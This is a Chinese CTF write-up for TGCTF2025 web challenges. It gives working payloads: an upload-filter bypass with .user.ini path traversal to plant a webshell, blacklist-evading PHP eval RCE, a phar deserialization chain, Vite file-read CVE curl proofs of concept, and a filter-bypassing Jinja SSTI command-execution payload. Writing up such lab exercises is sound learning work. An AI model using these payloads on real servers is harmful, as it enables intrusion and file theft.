$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

大概看一下waf,有一个列表存放了php的后缀名,但是他直接将我们上传的文件后缀名和array里的比较,这里直接大小写绕过即可,其中对文件内容的过滤感觉没啥作用,并且我们可以传name来给文件命名,并且直接拼接到路径中,这里可以用../目录穿越,本来试图直接访问uploads中上传的马,但是解析不了,并且他过滤了htaccess,那么就只有.user.ini了,把.user.ini传入,name=../\.user.ini

auto_prepend_file=123.PHP

显示如此表示.user.ini文件成功生效,方法可行

使用一句话木马即可GetShell

AAA偷渡阴平

1
2
3
4
5
6
7
8
9
10
11
$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

括号没有被禁止经过测试,无参RCE即可

1
?tgctf2025=system(end(current(get_defined_vars())));&a=cat /flag;

AAA偷渡阴平(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这里把上一题的无参RCE禁用了好多,但是sessid没有被禁用

payload

1
?tgctf2025=session_start();system(hex2bin(session_id()));

看其他师傅题解得知这里还可以使用一个函数apache_request_headers

1
system(hex2bin(key(apache_request_headers())))

然后删除其他请求头,只留下一个我们构造的恶意头,他的键存放执行命令

什么文件上传?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

反序列化题目,用file_exists触发phar反序列化

1
2
3
4
5
6
7
8
9
10
11
$a=new yesterday(); //触发today的call
$a->study=new today();//md5(md5($this->doing))触发future的__toString
$a->study->doing=new future();
$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// You learn yesterday, you choose today, can you get to your future?

然后用phar://伪协议触发在传入wow值即可

这里后缀名测试出来是atg

1
?filename=phar://./uploads/phar1.atg

什么文件上传?(复仇)

和上一题一模一样直接phar反序列化,可能上一题考点不是这个,但是也能用phar

前端GAME

前端代码发现flag位置,但是看了半天没发现哪里可以读取

注意到使用vite框架搭建的,直接搜vite框架CVE

CVE-2025-30328

1
curl "http://localhost:5173/@fs/C://windows/win.ini?import&raw??"

根据POC我们构建payload

1
curl "http://node2.tgctf.woooo.tech:30810/@fs/tgflaggg?import&raw??"

前端GAME Plus

和上一题一样,这里用的是CVE-2025-31486

POC

1
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

payload

1
curl 'node2.tgctf.woooo.tech:30974/tgflagggg?.svg?.wasm?init'

前端GAME Ultra

同理CVE-2025-32395

1
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

PAYLOAD

1
curl --request-target /@fs/app/#/../../../../../tgflagggg http://node1.tgctf.woooo.tech:30794/

直面天命

根据提示访问/hint

有一个四字路由,最后发现是aazz

提示该页面可以传参

响应包中有filename参数,尝试读取/flag

直面天命(复仇)

同样访问aazz路由,这次得到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = ''
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"{source_code}", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

一道SSTI题目,需要secret_key,根据下面把天命难违改成了个括号,猜测天命难违就是key,

成功执行,确定是SSTI

构造payload

1
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

关键词用引号隔断绕过,由于过滤了下划线,所以用编码绕过

1
name=%E5%A4%A9%E5%91%BDg['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('so'[::-1])['p''open']('cat tgffff11111aaaagggggggg')['r''ead']()%E9%9A%BE%E8%BF%9D

火眼辩魑魅

进入robots.tx发现了很多PHP文件

提示这里面只有一个是能执行的,我们进到tgxff.php看看

非常熟悉的一个页面,结合文件名几乎可以判断是smarty框架的典型问题SSTI

直接在X-Forwarded-For里加命令就好了


TGCTF2025
https://lvyzcc.github.io/2025/04/13/TGCTF2025/
作者
LvYz
发布于
2025年4月13日
许可协议